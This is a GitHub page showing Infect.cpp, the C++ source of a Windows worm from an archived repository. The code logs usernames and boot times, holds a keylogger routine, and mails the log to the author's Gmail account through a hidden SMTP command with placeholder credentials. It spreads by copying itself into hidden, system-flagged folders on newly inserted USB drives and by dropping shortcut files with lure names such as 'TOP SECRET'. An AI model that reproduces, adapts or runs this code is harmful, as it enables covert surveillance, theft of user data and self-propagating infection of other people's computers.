This repository was archived by the owner on Nov 3, 2026. It is now read-only.
Repository navigation
Expand file tree
/
Copy pathInfect.cpp
More file actions
233 lines (191 loc) · 6.04 KB
/
Copy pathInfect.cpp
File metadata and controls
233 lines (191 loc) · 6.04 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
#include <windows.h>
#include <time.h>
#include <string>
#include <fstream>
#include <iostream>
using namespace std;
#define FILE_NAME "Record.log"
#define FOLDER_NAME "myroach"
#define RUN_FILE_NAME "setup.exe"
#define RUN_LINK_NAME "setup.lnk"
#define INFECT_FILE_NAME "Infect.exe"
#define INFECT_LINK_NAME "Infect.lnk"
#define EMAIL_SENDER_FILE_NAME "Transmit.exe"
#define MIN_RECORD_SIZE 20 //no of PC start count before sending a mail
#define LIFE_TIME 5 //mail will be sent 5 times from one PC
#define MAIL_WAIT_TIME 180000
#define MAILING_TIME 60000
string allDrives;
int age = 0;
int get_setAge();
bool checkRecordSize();
void sendData();
void logUserTime();
void logKey();
char getRemovableDisk();
void infectDrive(char driveLetter);
char* getRandomName();
void hideProcess();
void sendData() {
const char* command = "Transmit smtp://smtp.gmail.com:587 -v --mail-from \"putyourshere@gmail.com\" --mail-rcpt \"putyourshere@gmail.com\" --ssl -u putyourshere@gmail.com:putpasswordhere -T \"Record.log\" -k --anyauth";
WinExec(command, SW_HIDE);
}
int get_setAge() {
int ageTemp = age;
string line;
ifstream myfile(FILE_NAME);
if (myfile.is_open()) {
getline(myfile, line);
line = line.substr(0, 1);
sscanf(line.c_str(), "%d", &ageTemp);
} else {
ageTemp++;
FILE *file = fopen(FILE_NAME, "a");
fprintf(file, "%d ", ageTemp);
fclose(file);
}
return ageTemp;
}
bool checkRecordSize() {
string line;
ifstream myfile(FILE_NAME);
int noOfLines = 0;
if (myfile.is_open()) {
while (getline(myfile, line)) {
noOfLines++;
}
myfile.close();
}
if (noOfLines < MIN_RECORD_SIZE * age) {
return false;
} else {
return true;
}
}
void logUserTime() {
FILE *file = fopen(FILE_NAME, "a");
char username[20];
unsigned long username_len = 20;
GetUserName(username, &username_len);
time_t date = time(NULL);
fprintf(file, "0\n%s->%s\t", username, ctime(&date));
fclose(file);
}
void logKey() {
FILE *file;
unsigned short ch = 0, i = 0, j = 500; // :)
while (j < 500) { ///loop runs for approx. 25 seconds
ch = 1;
while (ch < 250) {
for (i = 0; i < 50; i++, ch++) {
if (GetAsyncKeyState(ch) == -32767) { ///key is stroke
file = fopen(FILE_NAME, "a");
fprintf(file, "%d ", ch);
fclose(file);
}
}
Sleep(1); ///take rest
}
j++;
}
}
char getRemovableDisk() {
char drive = '0';
char szLogicalDrives[MAX_PATH];
DWORD dwResult = GetLogicalDriveStrings(MAX_PATH, szLogicalDrives);
string currentDrives = "";
for (int i = 0; i < dwResult; i++) {
if (szLogicalDrives[i] > 64 && szLogicalDrives[i] < 90) {
currentDrives.append(1, szLogicalDrives[i]);
if (allDrives.find(szLogicalDrives[i]) > 100) {
drive = szLogicalDrives[i];
}
}
}
allDrives = currentDrives;
return drive;
}
void infectDrive(char driveLetter) {
char folderPath[10] = {driveLetter};
strcat(folderPath, ":\\");
strcat(folderPath, FOLDER_NAME);
if (CreateDirectory(folderPath, NULL)) {
SetFileAttributes(folderPath, FILE_ATTRIBUTE_HIDDEN);
char run[100] = {""};
strcat(run, folderPath);
strcat(run, "\\");
strcat(run, RUN_FILE_NAME);
CopyFile(RUN_FILE_NAME, run, 0);
char net[100] = {""};
strcat(net, folderPath);
strcat(net, "\\");
strcat(net, EMAIL_SENDER_FILE_NAME);
CopyFile(EMAIL_SENDER_FILE_NAME, net, 0);
char infect[100] = {""};
strcat(infect, folderPath);
strcat(infect, "\\");
strcat(infect, INFECT_FILE_NAME);
CopyFile(INFECT_FILE_NAME, infect, 0);
char runlnk[100] = {""};
strcat(runlnk, folderPath);
strcat(runlnk, "\\");
strcat(runlnk, RUN_LINK_NAME);
CopyFile(RUN_LINK_NAME, runlnk, 0);
char infectlnk[100] = {""};
strcat(infectlnk, folderPath);
strcat(infectlnk, "\\");
strcat(infectlnk, INFECT_LINK_NAME);
CopyFile(INFECT_LINK_NAME, infectlnk, 0);
char hideCommand[100] = {""};
strcat(hideCommand, "attrib +s +h +r ");
strcat(hideCommand, folderPath);
WinExec(hideCommand, SW_HIDE);
} else {
srand(time(0));
int random = rand();
if (random % 2 == 0 || random % 3 == 0 || random % 7 == 0) {
return;
}
}
char infectlnkauto[100] = {driveLetter};
char* randomName = getRandomName();
strcat(infectlnkauto, randomName);
CopyFile(INFECT_LINK_NAME, infectlnkauto, 0);
}
char* getRandomName() {
char* randomName = new char[40]; // Allocate memory dynamically
srand(time(0));
int random = rand();
if (random % 8 == 0) {
strcpy(randomName, ":\\DO NOT CLICK!.lnk");
} else if (random % 4 == 0) {
char username[20];
unsigned long username_len = 20;
GetUserName(username, &username_len);
random = rand();
if (random % 8 == 0) {
strcpy(randomName, ":\\Boss ");
strcat(randomName, username);
strcat(randomName, ".lnk");
} else if (random % 4 == 0) {
strcpy(randomName, ":\\");
strcat(randomName, username);
strcat(randomName, " is the best.lnk");
} else if (random % 2 == 0) {
strcpy(randomName, ":\\Hello ");
strcat(randomName, username);
strcat(randomName, "! good morning.lnk");
} else {
strcpy(randomName, ":\\");
strcat(randomName, username);
strcat(randomName, "! please help me.lnk");
}
} else if (random % 2 == 0) {
strcpy(randomName, ":\\I will kill you ! ! !.lnk");
} else if (random % 3 == 0) {
strcpy(randomName, ":\\2+2=5.lnk");
} else {
strcpy(randomName, ":\\TOP SECRET.lnk");
}
return randomName;
}